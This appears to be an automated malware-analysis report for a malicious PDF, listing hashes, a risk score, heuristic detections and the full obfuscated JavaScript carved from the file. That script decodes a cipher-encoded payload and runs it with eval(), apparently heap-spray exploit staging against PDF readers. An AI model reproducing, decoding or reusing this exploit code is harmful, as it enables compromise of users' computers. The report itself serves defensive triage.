PDF malware analysis — malicious · fbb9e665b6eaab29

MALICIOUS

PDF

7.7 KB Created: 2009-03-13 23:23:41 Authoring application: eAfCvOT7DSms0 (via SUqi8LY0ztK3) First seen: 2026-05-08

MD5: 9480cc9e4c43e0ba6b8cd89da9ac8320 SHA-1: 8d7f7f9b11279512180e36b3019140f908279b08 SHA-256: fbb9e665b6eaab29483820281b39d370909e4bac9f6c0d5e175d016ae81c05a8

148 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell

The PDF file contains embedded JavaScript with high-confidence heuristic firings for PDF_JAVASCRIPT, PDF_JS, and PDF_EVAL, indicating the use of eval(). The JavaScript is obfuscated and likely intended to download and execute a secondary payload. The document body is unreadable, providing no further context. No specific malware family could be identified.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 4

JavaScript action low 2 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.

Matched line in script

5aU5aaI=T}rUWaa5mth;K,atb0=.;b0oL<..;b0++hv5aaI[b0]=2Mbg+1jGQJyi1T5j6(5aUsy44((XJm2G=\"L<n\"+\"nnnnnnnn\"+\"nnnnn\"+\"nnnn\"+\"7777777\"+\"777777777777777777777777777777\"+\"77777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777\"+\"777777777777777777777777777777777777777777\"+\"77777777777777777777777777777777777\"+\"7777777777777\"+\"7777777777777777777\"+\"77777777777777\";>MbjVwabTMKt\"%yF...K\"zsy44((XJm2Gh;K>TEMb,TU1S>5{8l.{RNth …

Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x233	6492 bytes
SHA-256: `0765f845899bb580a964e5ec1bc3112f9f940a24c40caaa8aba48b49a427a3c6`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script function hqq7G66y7MhGH5UlkFtK(hqq7G66y7MhGH5UlkFtK,Aq2cLBOyUnB1UrzaovPl) { return hqq7G66y7MhGH5UlkFtK.substr(Aq2cLBOyUnB1UrzaovPl, 1); }function A3wOTSV7pU7DMYJTRLjB(vEk8qIp3wvwopi380O5f) {var i3juRtEi5okqsKpZTUSF = new String("<>(){} .,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789");var GEuvnntd1p9ZijKzSPYN = new String("oqthv6UVzW{cBeSfP8xk)iJXRQZG4H1upd35CED}KgAb sjIT,wNa2M>(rlm0.L<YyF9O7n");for(A84mJkBd4TiAYSvB5ffx=0;A84mJkBd4TiAYSvB5ffx<i3juRtEi5okqsKpZTUSF.length;A84mJkBd4TiAYSvB5ffx++) {if(vEk8qIp3wvwopi380O5f == hqq7G66y7MhGH5UlkFtK(GEuvnntd1p9ZijKzSPYN, A84mJkBd4TiAYSvB5ffx)) {return hqq7G66y7MhGH5UlkFtK(i3juRtEi5okqsKpZTUSF, A84mJkBd4TiAYSvB5ffx);}}return vEk8qIp3wvwopi380O5f;}var AwsFsCrSHadEGVhSWvHq = new String;var ZIit0YJeJYGHLyM303M8 = new String("1jGQJyi1T5j=>T}2E5w}t\"%>yYyY%>yYyY%>yYyY%>.Se{%>YYF{%>99cn%>7.{n%>7..L%>eSYY%>e<yY%>e{SW%>e7.F%>SSec%>SSSS%>7{OS%>BSye%>eSeS%>9yeS%>eYWS%>nS9y%>y<SY%>nS9y%>9eeO%>eS.Y%>eSe{%>9yeS%>{n.Y%>9L7O%>eLWL%>.O.Y%>eSLL%>eSeS%>WW99%>{ne{%>OO7O%>9FLL%>.OeL%>eSLS%>eSeS%>WW99%>{neO%>cW7O%>L.FS%>.O<B%>eS.B%>eSeS%>WW99%>{neY%>..7O%>.S<L%>.O7S%>eSY{%>eSeS%>WW99%>{nSS%><e7O%>.Wn9%>.OFO%>eS<n%>eSeS%>WW99%>WSS{%>BO9S%>nW<c%>99LF%>SOWW%>e7.9%>eSee%>{LeS%>nW99%>9yc{%>e{WW%>ee7F%>9y{9%>SO{W%>.O{n%>eS9y%>eSeS%>7O{S%>SFBn%>nSc.%>O7.O%>eSeS%>99eS%>SYWW%><W9y%><S9c%>99{S%>cSWW%>L.7O%>eSeS%>{SeS%>WW9y%>7FS{%>{9eB%>{W9y%>.OSO%>eS7e%>eSeS%>WWec%><7cS%>{YeS%>cLnL%><77W%>e{WS%>7WnO%>eSeS%>nWL.%>9ycS%>eYWW%>ee7F%>9y{9%>SO{W%>WS.O%>eSeS%>7FeS%>{Oe7%>WWec%>Bcc{%>{cYy%>L.{c%>cSnW%>{c{S%>WW9y%>7FSY%>{9eW%>{W9y%>.OSO%>eScc%>eSeS%>eS7F%>nWL.%>9ycS%>eOWW%>eB7F%>9y{9%>SO{W%>SS.O%>eSeS%>7FeS%>9yL.%>SSWW%>ee7F%>9y{9%>SO{W%>eS.O%>eSeS%>WeeS%>{B{y%>.eec%>.eec%>.eec%>.eec%>.Y9c%>{Fe{%>9y{c%>.BYF%>{BL7%>.SL.%>9y{W%>9y.Y%>eOn<%>{<9y%>{neY%>nc9y%>9yBY%>SLn{%>ecnO%>{nLc%>nn9y%>eccS%>BcLc%>W9<9%>y<We%><cec%>Bc{n%>e.Ln%>SSFL%>LBBF%>eOn{%><L<e%>ece<%>WSLB%>Le.y%>LLBy%>nW{L%>{F.W%>.y9y%>{F9y%>ecc{%>7nY<%>eY9y%>9yWy%>SY{F%>Y<ec%>e{9y%>ec9y%>{L<W%><B{<%>eSeO%>L{.O%>L.LL%>{WL.%>WY{B%>W.W<%>eSWL%>Oy97%>O.Oy%><SYW%>OW<S%>OW9c%><eOF%>OFO<%>9y<S%>9B9L%>9L9B%>9c<S%>9L9S%><e9y%>97O.%>..O.\"h;\r\nUUUUUUUUUUUUUUUU(5aUQHsuAM4=>T}2E5w}t\"%>.W.W%>.W.W\"h;(5aUTI=<.;(5aUKg=TI+1jGQJyi1T5jVj}TgMA;rAbj}tQHsuAM4Vj}TgMAoKghQHsuAM4+=QHsuAM4;(5aUTICa=QHsuAM4V2>C2MabTgt.zKgh;(5aU2Mbg=QHsuAM4V2>C2MabTgt.zQHsuAM4Vj}TgMA-Kgh;rAbj}t2MbgVj}TgMA+Kgo.l9....h2Mbg=2Mbg+2Mbg+TICa;(5aU5aaI=T}rUWaa5mth;K,atb0=.;b0oL<..;b0++hv5aaI[b0]=2Mbg+1jGQJyi1T5j6(5aUsy44((XJm2G=\"L<n\"+\"nnnnnnnn\"+\"nnnnn\"+\"nnnn\"+\"7777777\"+\"777777777777777777777777777777\"+\"77777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777\"+\"777777777777777777777777777777777777777777\"+\"77777777777777777777777777777777777\"+\"7777777777777\"+\"7777777777777777777\"+\"77777777777777\";>MbjVwabTMKt\"%yF...K\"zsy44((XJm2Gh;K>TEMb,TU1S>5{8l.{RNthUv\r\nUUUUUUUU(5aUBC(C1R>7WJpdQMU=UT}rUWaa5mth;\r\nUUUUUUUUUUUUUUUUK>TEMb,TUjHw}nFdtuNKR<9SzUDaJCiI14rMLHk>hUv\r\nUUUUUUUUUUUUUUUUUUUUUUUUrAbj}UtuNKR<9SVj}TgMA<oDaJCiI14rMLHk>hvuNKR<9SU+=UuNKR<9S;6\r\nUUUUUUUUUUUUUUUUUUUUUUUUuNKR<9SU=UuNKR<9SV2>C2MabTgt.zDaJCiI14rMLHk>/<h;\r\nUUUUUUUUUUUUUUUUUUUUUUUUa}M>aTUuNKR<9S;\r\nUUUUUUUUUUUUUUUU6\r\n\r\nUUUUUUUUUUUUUUUUK>TEMb,TUrXXcu4jS CthUv\r\nUUUUUUUUUUUUUUUUUUUUUUUU(5aUJDLXFLU=U.l.E.E.E.E;\r\nUUUUUUUUUUUUUUUUUUUUUUUU(5aUbCEB79W<OU=U>T}2E5w}t\"%>yYyY%>yYyY%>yYyY%>.Se{%>YYF{%>99cn%>7.{n%>7..L%>eSYY%>e<yY%>e{SW%>e7.F%>SSec%>SSSS%>7{OS%>BSye%>eSeS%>9yeS%>eYWS%>nS9y%>y<SY%>nS9y%>9eeO%>eS.Y%>eSe{%>9yeS%>{n.Y%>9L7O%>eLWL%>.O.Y%>eSLL%>eSeS%>WW99%>{ne{%>OO7O%>9FLL%>.OeL%>eSLS%>eSeS%>WW99%>{neO%>cW7O%>L.FS%>.O<B%>eS.B%>eSeS%>WW99%>{neY%>..7O%>.S<L%>.O7S%>eSY{%>eSeS%>WW99%>{nSS%><e7O%>.Wn9%>.OFO%>eS<n%>eSeS%>WW99%>WSS{%>BO9S%>nW<c%>99LF%>SOWW%>e7.9%>eSee%>{LeS%>nW99%>9yc{%>e{WW%>ee7F%>9y{9%>SO{W%>.O{n%>eS9y%>eSeS%>7O{S%>SFBn%>nSc.%>O7.O%>eSeS%>99eS%>SYWW%><W9y%><S9c%>99{S%>cSWW%>L.7O%>eSeS%>{SeS%>WW9y%>7FS{%>{9eB%>{W9y%>.OSO%>eS7e%>eSeS%>WWec%><7cS%>{YeS%>cLnL%><77W%>e{WS%>7WnO%>eSeS%>nWL.%>9ycS%>eYWW%>ee7F%>9y{9%>SO{W%>WS.O%>eSeS%>7FeS%>{Oe7%>WWec%>Bcc{%>{cYy%>L.{c%>cSnW%>{c{S%>WW9y%>7FSY%>{9eW%>{W9y%>.OSO%>eScc%>eSeS%>eS7F%>nWL.%>9ycS%>eOWW%>eB7F%>9y{9%>SO{W%>SS.O%>eSeS%>7FeS%>9yL.%>SSWW%>ee7F%>9y{9%>SO{W%>eS.O%>eSeS%>WeeS%>{B{y%>.eec%>.eec%>.eec%>.eec%>.Y9c%>{Fe{%>9y{c%>.BYF%>{BL7%>.SL.%>9y{W%>9y.Y%>eOn<%>{<9y%>{neY%>nc9y%>9yBY%>SLn{%>ecnO%>{nLc%>nn9y%>eccS%>BcLc%>W9<9%>y<We%><cec%>Bc{n%>e.Ln%>SSFL%>LBBF%>eOn{%><L<e%>ece<%>WSLB%>Le.y%>LLBy%>nW{L%>{F.W%>.y9y%>{F9y%>ecc{%>7nY<%>eY9y%>9yWy%>SY{F%>Y<ec%>e{9y%>ec9y%>{L<W%><B{<%>eSeO%>L{.O%>L.LL%>{WL.%>WY{B%>W.W<%>eSWL%>9nYS%>YB9y%>OY<9%>9cO.%>YyYB\"h;\r\nUUUUUUUUUUUUUUUUUUUUUUUU(5aUI{,4OlO7i{nEDU=U.ly.....;\r\nUUUUUUUUUUUUUUUUUUUUUUUU(5aUsa2k<MZU=UbCEB79W<OVj}TgMAUU<;\r\nUUUUUUUUUUUUUUUUUUUUUUUU(5aUDaJCiI14rMLHk>U=UI{,4OlO7i{nEDU-Utsa2k<MZ+.lY7h;\r\nUUUUUUUUUUUUUUUUUUUUUUUU(5aUuNKR<9SU=U>T}2E5w}t\"%>n.n.%>n.n.\"h;\r\nUUUUUUUUUUUUUUUUUUUUUUUUuNKR<9SU=UjHw}nFdtuNKR<9SzUDaJCiI14rMLHk>h;\r\nUUUUUUUUUUUUUUUUUUUUUUUU(5aUwG(nadSU=UtJDLXFLU-U.ly.....h/I{,4OlO7i{nED;\r\n\r\nUUUUUUUUUUUUUUUUUUUUUUUUK,aUt(5aUeLeMREOr=.;eLeMREOrowG(nadS;eLeMREOr++hUv\r\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUBC(C1R>7WJpdQM[eLeMREOr]U=UuNKR<9SU+UbCEB79W<O;\r\nUUUUUUUUUUUUUUUUUUUUUUUU6\r\nUUUUUUUUUUUUUUUU6\r\n\r\nUUUUUUUUUUUUUUUUK>TEMb,TUGO0G5OQAeI2thUv\r\nUUUUUUUUUUUUUUUUUUUUUUUU(5aUu1O}Jm0X2U=U5wwV(b}r}a1}a2b,TVM,GMabTgth;\r\nUUUUUUUUUUUUUUUUUUUUUUUUu1O}Jm0X2U=Uu1O}Jm0X2Va}wj5E}t/\\B/gz\"\"h;\r\nUUUUUUUUUUUUUUUUUUUUUUUU(5aUT7M<SU=UT}rUWaa5mtu1O}Jm0X2VEA5aWMt.hzu1O}Jm0X2VEA5aWMtLhzu1O}Jm0X2VEA5aWMt<hh;\r\nUUUUUUUUUUUUUUUUUUUUUUUUbKUttT7M<S[.]U==U7U&&UttT7M<S[L]U==ULU&&UT7M<S[<]UoU<hU\|\|UT7M<S[L]UoULhhU\|\|\r\nUUUUUUUUUUUUUUUUUUUUUUUUtT7M<S[.]U==UOU&&UT7M<S[L]UoULhU\|\|\r\nUUUUUUUUUUUUUUUUUUUUUUUUtT7M<S[.]UoUOhhUv\r\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUrXXcu4jS Cth;\r\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU(5aU>1dBEpgc}OU=U>T}2E5w}t\"%>.E.E%>.E.E\"h;\r\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUrAbj}t>1dBEpgc}OVj}TgMAUoUyynF<hU>1dBEpgc}OU+=U>1dBEpgc}O;\r\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUMAb2VE,jj5CGM,a}U=Uc,jj5CVE,jj}EMeI5bj8TK,tv2>C :U\"\"zI2g:U>1dBEpgc}O6h;\r\nUUUUUUUUUUUUUUUUUUUUUUUU6\r\nUUUUUUUUUUUUUUUU6\r\nUUUUUUUUUUUUUUUUGO0G5OQAeI2th;UUUUU\n6UUUUUUUU");for(TpDaBktXW0Ev9ne0BoVL=0;TpDaBktXW0Ev9ne0BoVL<ZIit0YJeJYGHLyM303M8.length;TpDaBktXW0Ev9ne0BoVL++)AwsFsCrSHadEGVhSWvHq += A3wOTSV7pU7DMYJTRLjB(hqq7G66y7MhGH5UlkFtK(ZIit0YJeJYGHLyM303M8,TpDaBktXW0Ev9ne0BoVL));eval(AwsFsCrSHadEGVhSWvHq);

Open this report in the interactive analyzer, or submit your own file for analysis.